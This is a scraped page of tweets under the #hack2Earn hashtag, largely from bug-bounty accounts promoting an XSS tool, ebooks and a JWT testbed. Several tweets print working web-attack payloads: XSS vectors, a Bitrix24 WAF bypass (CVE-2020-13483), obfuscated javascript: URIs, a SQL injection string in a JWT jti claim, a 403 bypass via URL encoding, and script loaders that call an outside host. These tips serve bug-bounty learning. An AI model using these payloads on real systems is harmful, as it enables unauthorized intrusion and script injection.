#hack2Earn - Twitter Hashtag

4 months ago

Brute One v0.2 with JBroken Our proprietary tool to handle all the cases of our testbed at https://t.co/DdhdyLZcIh Fully automated with FFF - Find, Forge and Fire PoC Available at https://t.co/VM52wu5BGh #hack2earn #bugbounty #jwt

Brute

@BRuteLogic

4 months ago

JWT Auth Bypass TestBed https://t.co/qoYUYTxduT Test your skills: 18 main tests with variations. A proprietary tool with 40+ techniques for Brute One will be available this week to spot all these cases in the wild in a matter of seconds. https://t.co/ThMs09G3Hp

BRuteLogic's tweet photo. JWT Auth Bypass TestBed

https://t.co/qoYUYTxduT

Test your skills: 18 main tests with variations.

A proprietary tool with 40+ techniques for Brute One will be available this week to spot all these cases in the wild in a matter of seconds.

https://t.co/ThMs09G3Hp https://t.co/D6UbqCMrWe

1

643

117

591

31K

0

60

4

39

5K

Brute

@BRuteLogic

4 months ago

JWT SQL Injection jti (JWT ID) is stored in a DB to prevent token replay. That lookup is injectable. "jti": "' OR '1'='1" Try it: https://t.co/A01VkoVnjK Full technique: https://t.co/r4ePoKUoFo #hack2earn #bugbounty #jwt

BRuteLogic's tweet photo. JWT SQL Injection

jti (JWT ID) is stored in a DB to prevent token replay.
That lookup is injectable.

"jti": "' OR '1'='1"

Try it: https://t.co/A01VkoVnjK

Full technique: https://t.co/r4ePoKUoFo

#hack2earn #bugbounty #jwt https://t.co/0MxKON4Dau

8

597

94

477

22K

KNOXSS @KN0X55

4 months ago

Fake HTMLi for JSi <a href='/alert(1)/'> An HTML anchor that works as JavaScript Injection, possibly confusing parsers and/or satisfying white lists. This same technique worked against Bitrix24 CMS WAF https://t.co/s0ouLOgBjG #hack2earn

Brute

@BRuteLogic

over 4 years ago

Bitrix24 CMS #XSS #WAF Bypass CVE-2020-13483 (Shorter Payload) <a href="/*">*/)}); function+__MobileAppList(){alert(1)}//> Reference: https://t.co/ZFXQSKXxmY

$BRuteLogic's tweet photo. Bitrix24 CMS #XSS #WAF Bypass CVE-2020-13483 (Shorter Payload) <a href="/*">*/)}); function+__MobileAppList(){alert(1)}//> Reference: https://t.co/ZFXQSKXxmY https://t.co/nAXeZfLm2P$

3

272

74

66

0

1

71

11

52

4K

KNOXSS @KN0X55

4 months ago

JavaScript URI Obfuscation (colon entity, no semicolon) JavaScript%26%2358confirm(1) JavaScript%26%2358AB:confirm(1) JavaScript%26%2358%0Bconfirm(1) JavaScript%26%2358top?confirm(1):0 #hack2earn

0

99

6

69

4K

Brute

@BRuteLogic

4 months ago

/server-status 403 Forbidden /server%2Dstatus 200 OK Program: Slack Year: 2016 Bounty: 2k #hack2earn

0

173

21

94

8K

Brute

@BRuteLogic

11 months ago

#BlackNovember Up to 50% OFF ✅ KNOXSS https://t.co/E8YxCpYuUQ 3 Months ̶$̶6̶9̶ $39 6 Months ̶$̶9̶9̶ $49 1 Year ̶$̶1̶2̶9̶ $69 ✅ Ebooks https://t.co/sUKaeW9CZQ First Bounty ̶$̶2̶9̶ $19 SSRF Mastery Fundamentals ̶$̶4̶9̶ $29 The Brute Art of Bypass ̶$̶3̶9̶ $19 #hack2earn

BRuteLogic's tweet photo. #BlackNovember
Up to 50% OFF

✅ KNOXSS https://t.co/E8YxCpYuUQ

3 Months
̶$̶6̶9̶ $39

6 Months
̶$̶9̶9̶ $49

1 Year
̶$̶1̶2̶9̶ $69

✅ Ebooks https://t.co/sUKaeW9CZQ

First Bounty
̶$̶2̶9̶ $19

SSRF Mastery Fundamentals
̶$̶4̶9̶ $29

The Brute Art of Bypass
̶$̶3̶9̶ $19

#hack2earn https://t.co/tiI69BTtf9

0

13

4

8

3K

Brute

@BRuteLogic

12 months ago

Improve your #BugBounty reports Using a Remote #XSS Call 1. import('//X55.is') https://t.co/44PpUdSoC1 2. $.getScript`//X55.is` (requires jQuery) https://t.co/ZQyAdexV0F 3. appendChild(createElement`script`).src='//X55.is' https://t.co/5u88JwaYwE #hack2learn #hack2earn

0

91

19

54

5K

KNOXSS @KN0X55

over 2 years ago

"><Svg OnLoad=alert(1)> "AutoFocus/OnFocus=alert(1)// </Script><Svg OnLoad=alert(1)> '-alert(1)-' \'-alert(1)// Those are the basic #XSS vectors you should know how they work! From the classic blog post of @BRuteLogic KNOXSS - #hack2earn https://t.co/T0LoQ0f5R6

0

108

18

60

6K

KNOXSS @KN0X55

over 2 years ago

Here's how you can use #KNOXSS easily for bounties! 🤑 #XSS #hack2earn https://t.co/CaVfqgS6Ge

0

22

2

11

3K

HappyUtopian @HappyUtopian

over 4 years ago

Been with @defydisrupt Alpha since beginning with my Genesis Mask. It's #Move2Earn & #hack2earn . Get me Jmoving for fitness & crack my brain 💆🏻‍♂️ to solve some puzzles 😆 The storyline makes me feel accountable to revolutionize against the Future Systems 😎

2

5

0

Chrysalis @ChrysalisGuild

over 4 years ago

Con el #roninhack de #AxieOrigin por 600 millones de dólares y el hack de 15.000 dólares de liquidez a @dchessofficial los que más provecho le están sacando al #play2earn son los hackers ! Sera que esto va a terminar llamándose #Hack2Earn ❓

0

5

2

0

Ryan Preston @awsmhacks

over 8 years ago

Beginner #XSS training hype! pocketed $500 for very little effort on a vuln this month. Sign up here https://t.co/WPkE1x16Jv @_BSidesKC #hack2learn #hack2earn

1

9

3

0

KNOXSS @KN0X55

almost 9 years ago

#BlackFriday - #CyberMonday KNOXSS 50% OFF ! Anticipating the celebrations of KNOXSS 1st anniversary w/ a brilliant suggestion by our friend @Jhaddix, we are giving a ~50% discount in both Standard and Pro subscriptions (1 year plan)! From 24th (GMT) to 27th (PST) #hack2Earn

12

82

32

0